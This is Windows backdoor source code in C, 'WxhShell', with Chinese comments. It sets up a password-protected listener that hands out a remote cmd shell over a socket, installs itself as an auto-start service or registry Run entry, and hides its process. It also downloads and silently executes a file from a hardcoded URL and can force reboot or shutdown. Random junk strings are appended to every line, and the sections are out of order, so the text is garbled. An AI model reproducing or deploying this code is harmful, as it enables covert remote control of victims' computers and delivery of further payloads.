    break; md8r"  
    } %hcn|-" F  
  // 关机 oZ% rzLH  
  case 'd': { biZwxP3  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); uh`W} n  
    if(Boot(SHUTDOWN)) e$krA!zN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8sm8L\-  
    else { 8 /3`rEW  
    closesocket(wsh); 58FjzW  
    ExitThread(0); |q&&"SpA  
    } 59eq"08  
    break; P{qi>FJqe  
    } !F3Y7R  
  // 获取shell i@7b  
  case 's': { ,1-n=eTQ  
    CmdShell(wsh); EC *rd  
    closesocket(wsh); 3R!?r^h  
    ExitThread(0); UOTM>d1P  
    break; d^5OB8t  
  } kaBP& 6|Z  
  // 退出 b65V*Vbj  
  case 'x': { NE Br) ~  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ROZOX$XM  
    CloseIt(wsh); iQryX(z  
    break; hrsMAh!  
    } _&0_@  
  // 离开 i|zs Li/  
  case 'q': { BJzNh>-#=  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); e))fbv&V  
    closesocket(wsh); 3 K Y-+ k  
    WSACleanup(); .<Y7,9;YEF  
    exit(1); Oy>u/g~  
    break; DQ'yFPE  
        } &p>VTD  
  } ~y@,d  
  } R2uekpP  
R0>GM`{  
  // 提示信息 1\G S"4~P  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); e C\;n  
} j*uc$hC"  
  } `?Wy;5-  
!1+yb.{\  
  return; G&i<&.i  
} B&J;yla6`d  
:G+8%pUX]  
// shell模块句柄 fJ \bm  
int CmdShell(SOCKET sock) O6nCu  
{ [T8BQn!  
STARTUPINFO si; [ 0? *J<d  
ZeroMemory(&si,sizeof(si)); <=m@Sg{o  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ySyA!Z  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; G&P[n8Z$  
PROCESS_INFORMATION ProcessInfo; !`j}%!K!  
char cmdline[]="cmd"; U&DD+4+28:  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); yb)!jLnH  
  return 0; +6cOL48"  
} ZH]n&%@j  
u=epnz:<  
// 自身启动模式 n}NO"eF>-s  
int StartFromService(void) d@o1< Q  
{ `~${fs{-`/  
typedef struct /yRP>CX~  
{ l/|bU9o /u  
  DWORD ExitStatus; E1p?v!   
  DWORD PebBaseAddress; 2D,EWk/4  
  DWORD AffinityMask; fTn  
  DWORD BasePriority; {(o$? =  
  ULONG UniqueProcessId; U-uBz4Gha  
  ULONG InheritedFromUniqueProcessId; %`rZ]^H  
}   PROCESS_BASIC_INFORMATION; N_#QS}H  
TL%2?'G  
PROCNTQSIP NtQueryInformationProcess; oA_T9uh[  
.Y;ljQ  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; {<\[gm\X  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; -)S(eqq1  
g=8}G$su{%  
  HANDLE             hProcess; )?@X{AN&  
  PROCESS_BASIC_INFORMATION pbi; @.JhL[f  
@EPO\\C"f  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); P)VysYb?  
  if(NULL == hInst ) return 0; %!_okf   
sn.Xvk%75  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); mGf@J6wGz  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); :nk$?5ib  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 37:\X5)z/  
"?_r?~sJx  
  if (!NtQueryInformationProcess) return 0; !'E{D`A9  
0taopDi ;d  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); PjL"7^Q&  
  if(!hProcess) return 0; @qC](5|TQ  
;xp^F KP  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; AOvn<Q  
f@:.bp8VB8  
  CloseHandle(hProcess); -Xm/sq(i)%  
Iu<RwB[#Q  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); $:v!*0/  
if(hProcess==NULL) return 0; (<|NerwD  
|$Y0VC4a  
HMODULE hMod; #;l~Y}7'  
char procName[255]; 9d4Agj M  
unsigned long cbNeeded; 0~.OMG:=  
N~<H`  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); q-3,p.  
Yv}V =O%  
  CloseHandle(hProcess); pf_(?\oz>  
OQ,KQ\  
if(strstr(procName,"services")) return 1; // 以服务启动 :BIgrz"Jz  
7od6`k   
  return 0; // 注册表启动 \YV`M3O  
} cr;\;Ta_!W  
xPuuG{Sm  
// 主模块 ]{mz %\  
int StartWxhshell(LPSTR lpCmdLine) w 0V=49  
{ y$J M=f$  
  SOCKET wsl; W$E!}~Ro  
BOOL val=TRUE; =LP,+z  
  int port=0; c:%ll&Xtn  
  struct sockaddr_in door; }p2YRTHx  
P, (#' W  
  if(wscfg.ws_autoins) Install(); P5vxQR_*lc  
2aROY2  
port=atoi(lpCmdLine); *3,Kn}ik  
DOk(5gR  
if(port<=0) port=wscfg.ws_port; wOhiC$E46  
Tc{n]TV  
  WSADATA data; $-tgd<2h  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ynWF Y<VX  
H<hFA(M  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   U{^~X_?  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Iuh1tcc  
  door.sin_family = AF_INET; jB"?iC.  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 9ZKB,  
  door.sin_port = htons(port); yXuc< m  
 L=Pz0  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 3,x|w  
closesocket(wsl); n"p|tEK  
return 1; WyO7,Qr\   
} a{oG[e   
:Adx7!6  
  if(listen(wsl,2) == INVALID_SOCKET) { ,};UD  W  
closesocket(wsl); Pz=x$aY  
return 1; U$-;^=;  
} "r:i  
  Wxhshell(wsl); D^R=  
  WSACleanup(); X4- _l$j  
**].d;~[l  
return 0; YlF<S49loC  
=.*+c\  
} |H!kU.f]  
mBp3_E.t  
// 以NT服务方式启动 -#9Hb.Q;  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) sYt\3/yL'  
{ n0/H2>I[  
DWORD   status = 0; n!nXM  
  DWORD   specificError = 0xfffffff; k7R8Q~4  
N-lo[bDJh  
  serviceStatus.dwServiceType     = SERVICE_WIN32; f&z@J,_=  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 6}Iu~| 5  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; .Mn+Bd4f  
  serviceStatus.dwWin32ExitCode     = 0; yu<'-)T.?  
  serviceStatus.dwServiceSpecificExitCode = 0; I04GQql  
  serviceStatus.dwCheckPoint       = 0; 4| 6<nk_  
  serviceStatus.dwWaitHint       = 0; }D/O cp~o  
UJ}Xa&*H\  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ZQ&A '(tt4  
  if (hServiceStatusHandle==0) return; %syFHUBw  
G`a,(<kT;  
status = GetLastError(); 9;fyC =  
  if (status!=NO_ERROR) @L p;p$G`  
{ ?0ezr[`.  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Aqc Cb[1r  
    serviceStatus.dwCheckPoint       = 0; |^uU&O;.  
    serviceStatus.dwWaitHint       = 0; ]bPj%sb*@  
    serviceStatus.dwWin32ExitCode     = status; 1XwW4cZ>:  
    serviceStatus.dwServiceSpecificExitCode = specificError; ]VYv>o`2  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); R')D~JJ<8a  
    return; O%w"bEr)N  
  } b1("(,r/`  
<c,/+ lQ^  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; .e^AS~4pl  
  serviceStatus.dwCheckPoint       = 0; (%i)A$i6a  
  serviceStatus.dwWaitHint       = 0; u:6PAVW?  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); yMJY6$Ct  
} GzC=xXON  
R(i2TAaaU  
// 处理NT服务事件,比如:启动、停止 )ZyEn%  
VOID WINAPI NTServiceHandler(DWORD fdwControl) I3{koI  
{ ~If{`zWoC  
switch(fdwControl) u-31$z<<5}  
{ +c8cyx:^f  
case SERVICE_CONTROL_STOP: 9JG9;[  
  serviceStatus.dwWin32ExitCode = 0; SkmLX@:(  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; M-K.[}}-d  
  serviceStatus.dwCheckPoint   = 0; -<R"  
  serviceStatus.dwWaitHint     = 0; L\:f#b~W  
  { SGZ]_  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); H1FD|Q3  
  } r35'U#VMk?  
  return; ~miRnW*x  
case SERVICE_CONTROL_PAUSE: x/7d!>#;  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; P ~pC /z  
  break; &ye,A(4  
case SERVICE_CONTROL_CONTINUE: 7]i=eD8  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; X_j=u1*5  
  break; 3eqVY0q  
case SERVICE_CONTROL_INTERROGATE: vlHE\%{  
  break; x6d0yJ <  
}; h`_@eax  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); *=6,}rX"I  
} /7bIE!Cn  
OG M9e!  
// 标准应用程序主函数 eH*u,/  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) EB/.M+~a  
{ ?=UIx24W  
CdTyUl  
// 获取操作系统版本 v Ft]n  
OsIsNt=GetOsVer(); ~#doJ:^H3  
GetModuleFileName(NULL,ExeFile,MAX_PATH); H-*"%SJ  
.^?^QH3  
  // 从命令行安装 #rE#lHo  
  if(strpbrk(lpCmdLine,"iI")) Install(); l~Em2@c  
]>K02SVT:  
  // 下载执行文件 nA!Xb'y&  
if(wscfg.ws_downexe) { /(aKhUjhb  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 2'R& K  
  WinExec(wscfg.ws_filenam,SW_HIDE); EmaVd+Sw  
} SO}$96  
;w^-3 U7:  
if(!OsIsNt) { @IB+@RmL  
// 如果时win9x,隐藏进程并且设置为注册表启动 v4:g*MD?~  
HideProc(); ?q68{!{bi  
StartWxhshell(lpCmdLine); U?MKZL7  
} \Oku<5  
else ]^>#?yEA3  
  if(StartFromService()) 33R_JM{  
  // 以服务方式启动 /,>@+^1  
  StartServiceCtrlDispatcher(DispatchTable); ""j(wUp-W  
else F$Cf\#{3  
  // 普通方式启动 UF g N@  
  StartWxhshell(lpCmdLine); }]qx "  
5`ma#_zk|f  
return 0; xk1pZQ8c  
} DwQa j"1<%  
vd4}b>  
"S">#.L  
J!%cHqR  
=========================================== v{R:F  
.] S{T  
qJ;T$W=NG  
w Wx,}=  
~MvLrg"i  
W6Os|z9&|  
" G8JwY\  
}F*u 9E  
#include <stdio.h> F-=W7 D:[c  
#include <string.h> IT`r&;5  
#include <windows.h> 9$9Pv%F:j  
#include <winsock2.h> UUxDW3K  
#include <winsvc.h> ..ig jc#UF  
#include <urlmon.h> /r4QDwu  
nFVQOr;  
#pragma comment (lib, "Ws2_32.lib") iNTw;ov  
#pragma comment (lib, "urlmon.lib") fP>K!@!8  
YWf w%p?n"  
#define MAX_USER   100 // 最大客户端连接数 7VP[U,  
#define BUF_SOCK   200 // sock buffer H:~41f[  
#define KEY_BUFF   255 // 输入 buffer 8Nr,Wq  
y6[^I'kz  
#define REBOOT     0   // 重启 ]FJpe^ ua  
#define SHUTDOWN   1   // 关机 k)2L <Lmn  
n9J.]+@J  
#define DEF_PORT   5000 // 监听端口 qR W WG&  
{y{& tz Z  
#define REG_LEN     16   // 注册表键长度 HWr")%EhD  
#define SVC_LEN     80   // NT服务名长度 DhQYjC[  
</K"\EU  
// 从dll定义API jLULf+ 8&  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); hL\gI(B  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); iU5Aj:U3  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); qlT'gUt=H  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); G3j&8[  
Wr\rruH6  
// wxhshell配置信息 '`$US;5  
struct WSCFG { Min^EAG@  
  int ws_port;         // 监听端口 kEM5eY  
  char ws_passstr[REG_LEN]; // 口令 MDfE(cn2q  
  int ws_autoins;       // 安装标记, 1=yes 0=no /Z:\=0`  
  char ws_regname[REG_LEN]; // 注册表键名 G/F0 )M  
  char ws_svcname[REG_LEN]; // 服务名 w$JG:y#  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 =H'7g 6  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Bn7~p+N  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 VQ{.Ls2`Z  
int ws_downexe;       // 下载执行标记, 1=yes 0=no YN\!I  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" rb+&]  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 2:(h17So  
e ;4y5i  
}; 'RIlyH~Yf  
DU6AlNx  
// default Wxhshell configuration !aSu;Ln  
struct WSCFG wscfg={DEF_PORT, }gE?ms4$  
    "xuhuanlingzhe", O k-*xd  
    1, G22= 8V  
    "Wxhshell", 4v+4qyMyE  
    "Wxhshell", r^uo7?gZ^  
            "WxhShell Service", Td&w  
    "Wrsky Windows CmdShell Service", ^]He]FW':G  
    "Please Input Your Password: ", R@=Bk(h  
  1, XYbc1+C  
  "http://www.wrsky.com/wxhshell.exe", _)q,:g~fu  
  "Wxhshell.exe" d7xd"  
    }; qTA@0fL  
Ea%} VZ&[  
// 消息定义模块 IxY%d}[uo  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Z/ "jLfP  
char *msg_ws_prompt="\n\r? for help\n\r#>"; qb+vptg@I  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Fe(qf>E  
char *msg_ws_ext="\n\rExit."; 5feCA ,v7  
char *msg_ws_end="\n\rQuit."; R3]Ra&h6N)  
char *msg_ws_boot="\n\rReboot..."; 0K -jF5i$`  
char *msg_ws_poff="\n\rShutdown..."; 3P1OyB  
char *msg_ws_down="\n\rSave to "; GS^U6Xef  
q%u;+/|l  
char *msg_ws_err="\n\rErr!"; u!([m; x|  
char *msg_ws_ok="\n\rOK!"; su~_l[6  
L#'B-G4&y  
char ExeFile[MAX_PATH]; ~!c~jcq]lZ  
int nUser = 0; ' LT6%<|  
HANDLE handles[MAX_USER]; * i[^-  
int OsIsNt; Z 8??+d=  
Nl_Sgyx,\  
SERVICE_STATUS       serviceStatus; ,B>Rc#  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; RlU=  
l\W[WQP h  
// 函数声明 V$Y5EX  
int Install(void); h9)QQPP  
int Uninstall(void); dm60O8  
int DownloadFile(char *sURL, SOCKET wsh); U?u0|Y+  
int Boot(int flag); Te`Z Qqb  
void HideProc(void); |V2+4b,  
int GetOsVer(void); 4_3 DQx9s  
int Wxhshell(SOCKET wsl); utq*<,^  
void TalkWithClient(void *cs); 'kW'e  
int CmdShell(SOCKET sock); z5CZ!"&v  
int StartFromService(void); 'l$<DcBj  
int StartWxhshell(LPSTR lpCmdLine); Ak!l}d  
A &i  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 7Zl- |  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); A*I mruV  
.!kqIx*3  
// 数据结构和表定义 oWVlHAPj  
SERVICE_TABLE_ENTRY DispatchTable[] = fu/v1Nhm  
{ w, u`06  
{wscfg.ws_svcname, NTServiceMain}, |Ew\Tgo/2  
{NULL, NULL} yQ> *F  
}; O>^0}  
pb~&gliW  
// 自我安装 ZbJUOa?WF  
int Install(void) N 3)OH6w"  
{ iw|6w,-)C  
  char svExeFile[MAX_PATH]; oI9Jp`  
  HKEY key; h(hb?f@1:  
  strcpy(svExeFile,ExeFile); `;L0ax  
<$s G]l!\  
// 如果是win9x系统,修改注册表设为自启动 v_*E:E  
if(!OsIsNt) { ^Bihm] Aq  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { `vJ+ sRf  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); CtwMMZXX3  
  RegCloseKey(key); F{ cKCqI?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %Uk]e5Hu  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); rIz"_r  
  RegCloseKey(key); zmI?p4,  
  return 0; 8phc ekh+  
    } C% <[mM  
  } ?U]/4]  
} C[:Q?LE  
else { 'z\K0  
3\6 UH  
// 如果是NT以上系统,安装为系统服务 J;Az0[qMR  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); &UG7 g  
if (schSCManager!=0) O?omL5  
{ 372ewh3'  
  SC_HANDLE schService = CreateService jyPY]r  
  ( \[&~.B  
  schSCManager, ,[IN9W  
  wscfg.ws_svcname, {9KG06%+  
  wscfg.ws_svcdisp, e.eQZ5n~q`  
  SERVICE_ALL_ACCESS, .}.5|z} A  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , -b-Pvw4  
  SERVICE_AUTO_START, 4 Yq|Z  
  SERVICE_ERROR_NORMAL, zO`54^  
  svExeFile, f<ABs4w  
  NULL, STp}?Cb  
  NULL, '\dau>  
  NULL, 7SE=otZ>  
  NULL, 7>EjP&l  
  NULL IMzhEm  
  ); eRllF` *  
  if (schService!=0) ,R$n I*mf_  
  { F|X-|Co  
  CloseServiceHandle(schService); >lqWni  
  CloseServiceHandle(schSCManager); 'sI=*c  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 1c S{3  
  strcat(svExeFile,wscfg.ws_svcname); G0$ 1"9u\w  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { /OaLkENgvf  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); VmrW\rH@  
  RegCloseKey(key); :g/HN9  
  return 0; `zAo IQ  
    } "(ehf|%>%  
  } }' `2C$  
  CloseServiceHandle(schSCManager); 5:SfPAx  
} w}pFa76rm  
} ^I9x@t  
+ oyW_!(  
return 1; [vpZ3;  
} u79.`,Ad&  
>4=sEj  
// 自我卸载 < 2w@5qL  
int Uninstall(void) BvpGP  
{ ymybj  
  HKEY key; =!r9;L,?  
elXY*nt8h  
if(!OsIsNt) { 0mL#8\'"  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { E]6C1C&K  
  RegDeleteValue(key,wscfg.ws_regname); uYiM~^ 0  
  RegCloseKey(key); 72} MspzUt  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [Z0&`qz  
  RegDeleteValue(key,wscfg.ws_regname); yB(^t`)}N  
  RegCloseKey(key);  ' -[  
  return 0; d;|Pp;dc  
  } $xmlt vaF  
} @jg*L2L6  
} n@w$5y1@  
else { =kohQ d.n  
xtN%v0ZZ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); +2`RvQN  
if (schSCManager!=0) 0Ep%&>@  
{ t)XNS!6#]?  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ?f[#O&#  
  if (schService!=0) j&) +qTV  
  { swuW6p  
  if(DeleteService(schService)!=0) { ro7\}O:I  
  CloseServiceHandle(schService); R@t?!`f!+  
  CloseServiceHandle(schSCManager); UO8#8  
  return 0; {PGNPxUbe  
  } e4Ol:V  
  CloseServiceHandle(schService); u*Eb4  
  } -uN5 DJSW  
  CloseServiceHandle(schSCManager); LX4S}QXw  
} & :x_  
} S/ ]2Qt#T  
[2.uwn]i  
return 1; WcAX/<Y>  
} -uenCWF\#  
(4n8[  
// 从指定url下载文件 k 61Ot3  
int DownloadFile(char *sURL, SOCKET wsh) #Zk6   
{ %0@Jm)K^  
  HRESULT hr; Lllyx20U  
char seps[]= "/"; PMjqcdBzm  
char *token; fZH:&EP  
char *file; Q&^ti)vB  
char myURL[MAX_PATH]; ]H) x  
char myFILE[MAX_PATH]; K[PIw}V$?:  
5YMjvhr?W  
strcpy(myURL,sURL); He. gl  
  token=strtok(myURL,seps); "CBe$b4  
  while(token!=NULL) W1M<6T.{7  
  { =:mD)oX*  
    file=token; )P@t,mxW/  
  token=strtok(NULL,seps); |i7|QLUT  
  } \kZxys!4  
Hn0 ,LH$/  
GetCurrentDirectory(MAX_PATH,myFILE); y^=\w?d  
strcat(myFILE, "\\"); &V$_u#<  
strcat(myFILE, file); QRhR.:M\  
  send(wsh,myFILE,strlen(myFILE),0); bNp RGhlV  
send(wsh,"...",3,0); a_w# ,^/P  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ~\<Fq\.x  
  if(hr==S_OK) ?8fa/e  
return 0; v/\l  
else :CNWHF4$  
return 1; ZY+NKb_  
4StiYfae  
} |Spy |,/  
DY'D]*'7$  
// 系统电源模块 1XU sr;Wz  
int Boot(int flag) 0sto9n3  
{ N^xnx<  
  HANDLE hToken; ])egke\!  
  TOKEN_PRIVILEGES tkp; o X )r4H?  
6:i{_YX(.S  
  if(OsIsNt) { QNJ )HNLp  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); SaMg)s~B  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Ly/"da  
    tkp.PrivilegeCount = 1; 4!,x3H'  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; O8"kIDr-  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ~~,\BhG?  
if(flag==REBOOT) { ir-srVoXy  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) lNowH0K!D  
  return 0; -("sp  
} !"j?dQ.U;  
else { '@i/?rNi%N  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) rR&;2  
  return 0; p)RASIB  
} NGtSC_~d  
  } 5ycccMx0V  
  else { "detDB   
if(flag==REBOOT) { vdAaqM6D  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ='a[(C&Y  
  return 0; C:xg M'~+  
} lt`(R*B%  
else { a` A V  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) QI'ule  
  return 0; t J N;WK.6  
} /]=Ih  
} v\PqhIy"  
A}?n.MAX>  
return 1; zs:O HEZw  
} zBtlkBPu  
P!3)-apP\  
// win9x进程隐藏模块 H WOs   
void HideProc(void) DKnjmZ:J|  
{ _TY9!:&}q  
/J )MW{;O  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); A-Be}A  
  if ( hKernel != NULL ) 3&:Us| }  
  { 4qXO8T#~J=  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); $!%/Kk4M  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 5RXZ$/  
    FreeLibrary(hKernel); fT.18{'>  
  } pyYm<dn  
E58fY|9  
return; dc.9:u*w  
} C?m2R(RF  
`w';}sQA7  
// 获取操作系统版本 bYQvh/(J  
int GetOsVer(void) 0F> ils  
{ 3 5;|r  
  OSVERSIONINFO winfo; }7&.FV "  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); W{:^P0l  
  GetVersionEx(&winfo); 8 9o&KF]  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) i#]}k  
  return 1; PKFjM~J  
  else Evu`e=LaG  
  return 0; ,r^zDlS<q  
} KM li!.(b  
k%Dpy2uH  
// 客户端句柄模块 nb dm@   
int Wxhshell(SOCKET wsl) ea[vzD]  
{ -d5b,leC^  
  SOCKET wsh;   @a2n{  
  struct sockaddr_in client; djJD'JL  
  DWORD myID; ?_)b[-N!  
[Z9 lxZ|  
  while(nUser<MAX_USER) Tq{+9+  
{ dZ}gf}.v  
  int nSize=sizeof(client); t66Cx  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); g<U\7Vp\1  
  if(wsh==INVALID_SOCKET) return 1; NU[{ANbl  
'/M9V{DD88  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Wd "<u2  
if(handles[nUser]==0) l7#5.%A  
  closesocket(wsh); VZuluV  
else !*Ex}K99  
  nUser++; (:Di/{i&r5  
  } Rr#Zcs!G  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ZD!?mR+-  
QL/I/EgqC  
  return 0; <8;SSdoKi  
} S;@nPzhc  
vDI$ QUMD6  
// 关闭 socket t 7GK\B8:  
void CloseIt(SOCKET wsh) BwOIdz%]OY  
{ 1.Kun !w  
closesocket(wsh); ?-M?{De   
nUser--; )1?#q[x  
ExitThread(0); C\ 2rSyo  
} x6yYx_  
NzS(, F  
// 客户端请求句柄 wNc.z*+O"H  
void TalkWithClient(void *cs) $O nh2 ^  
{ >,%or cN  
#<h//<  
  SOCKET wsh=(SOCKET)cs; +}3l$L'bY  
  char pwd[SVC_LEN]; {BV0Y.O  
  char cmd[KEY_BUFF]; E;v#'  
char chr[1]; 9u[^9tL+D  
int i,j; xf2|9Tqt  
FgwIOpqE*  
  while (nUser < MAX_USER) { $[f-{B{>*  
1N\/61+aA  
if(wscfg.ws_passstr) { l9{}nz  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); P=3mLz-  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); suKr//_  
  //ZeroMemory(pwd,KEY_BUFF); $?P5A E  
      i=0; ZZ'5BfI"I%  
  while(i<SVC_LEN) { hp|.hN(kS]  
T)c<tIr6  
  // 设置超时 ,J;Cb}  
  fd_set FdRead; @!'rsPrI  
  struct timeval TimeOut; a4d7;~tZ  
  FD_ZERO(&FdRead); \-?0ab3Z  
  FD_SET(wsh,&FdRead); L5[{taZ,  
  TimeOut.tv_sec=8; ;f?suawMv  
  TimeOut.tv_usec=0; ZLI t 3  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ' % d-  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ~fnu;'fN  
_v6x3 Z  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); TXL!5, X_  
  pwd=chr[0]; E P3Vz8^  
  if(chr[0]==0xd || chr[0]==0xa) { jouA ]E  
  pwd=0; Q DVk7ks  
  break; r7ebFJEf  
  } uH{oJSrK  
  i++; %eOO8^N  
    } n2A ; `=  
k\76`!B  
  // 如果是非法用户,关闭 socket }G/!9Zq  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); X'uQr+p^  
} <aQ<Wy=\  
RCqd2$K"J+  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); `!(I Q&  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); J?#Xy9dz  
0Sj B&J  
while(1) { ,ZV>"'I:  
?lca#@f(  
  ZeroMemory(cmd,KEY_BUFF); ]9 $iUA%Ef  
a^o'KN{  
      // 自动支持客户端 telnet标准   LvqWA}  
  j=0; +)xjw9b  
  while(j<KEY_BUFF) { *fCmZ$U:{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); q0C%">>1 #  
  cmd[j]=chr[0]; vSnGPLl  
  if(chr[0]==0xa || chr[0]==0xd) { (S~kNbIa  
  cmd[j]=0; (b;Kl1Ql]  
  break; zC,c9b  
  } i 558&:  
  j++; =u-q#<h4 ;  
    } %?hvN  
: X}n[K  
  // 下载文件 9Iu"DOxX%  
  if(strstr(cmd,"http://")) { .H@b zm  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ID: tTltcc  
  if(DownloadFile(cmd,wsh)) OKPNsN  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5pT8 }?7  
  else p'`?CJq8  
